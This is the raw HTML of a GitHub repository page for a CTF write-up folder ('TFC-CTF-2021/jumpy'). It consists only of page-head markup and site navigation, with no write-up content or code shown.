<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>CTF-writeups/TFC-CTF-2021/jumpy at main · ArjunaAcchaDipa/CTF-writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="8A45:8CC1:155B19BF:15FAF00E:64121C87" data-pjax-transient="true"/><meta name="html-safe-nonce" content="506d98bcf1a3c2d55a758f30ff40a912aeab9b764cd152465d768e5e727f96f7" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4QTQ1OjhDQzE6MTU1QjE5QkY6MTVGQUYwMEU6NjQxMjFDODciLCJ2aXNpdG9yX2lkIjoiNjk5NTc3NzExODYzNTQzMzA5NSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="e1eb90f834e5e62e627ee513cbaac4b7067b40f5b82c31257471b1868cf8c36a" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:369551288" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="This repository contains write ups for CTFs that I attended. It might not be the most effective way, but it works :D - CTF-writeups/TFC-CTF-2021/jumpy at main · ArjunaAcchaDipa/CTF-writeups"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/2c84cfc7b8c7d14bafcf168397564983d24092832ba2a7f11b380158f3413d3b/ArjunaAcchaDipa/CTF-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-writeups/TFC-CTF-2021/jumpy at main · ArjunaAcchaDipa/CTF-writeups" /><meta name="twitter:description" content="This repository contains write ups for CTFs that I attended. It might not be the most effective way, but it works :D - CTF-writeups/TFC-CTF-2021/jumpy at main · ArjunaAcchaDipa/CTF-writeups" /> <meta property="og:image" content="https://opengraph.githubassets.com/2c84cfc7b8c7d14bafcf168397564983d24092832ba2a7f11b380158f3413d3b/ArjunaAcchaDipa/CTF-writeups" /><meta property="og:image:alt" content="This repository contains write ups for CTFs that I attended. It might not be the most effective way, but it works :D - CTF-writeups/TFC-CTF-2021/jumpy at main · ArjunaAcchaDipa/CTF-writeups" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-writeups/TFC-CTF-2021/jumpy at main · ArjunaAcchaDipa/CTF-writeups" /><meta property="og:url" content="https://github.com/ArjunaAcchaDipa/CTF-writeups" /><meta property="og:description" content="This repository contains write ups for CTFs that I attended. It might not be the most effective way, but it works :D - CTF-writeups/TFC-CTF-2021/jumpy at main · ArjunaAcchaDipa/CTF-writeups" /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/ArjunaAcchaDipa/CTF-writeups git https://github.com/ArjunaAcchaDipa/CTF-writeups.git"> <meta name="octolytics-dimension-user_id" content="62648000" /><meta name="octolytics-dimension-user_login" content="ArjunaAcchaDipa" /><meta name="octolytics-dimension-repository_id" content="369551288" /><meta name="octolytics-dimension-repository_nwo" content="ArjunaAcchaDipa/CTF-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="369551288" /><meta name="octolytics-dimension-repository_network_root_nwo" content="ArjunaAcchaDipa/CTF-writeups" /> <link rel="canonical" href="https://github.com/ArjunaAcchaDipa/CTF-writeups/tree/main/TFC-CTF-2021/jumpy" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills 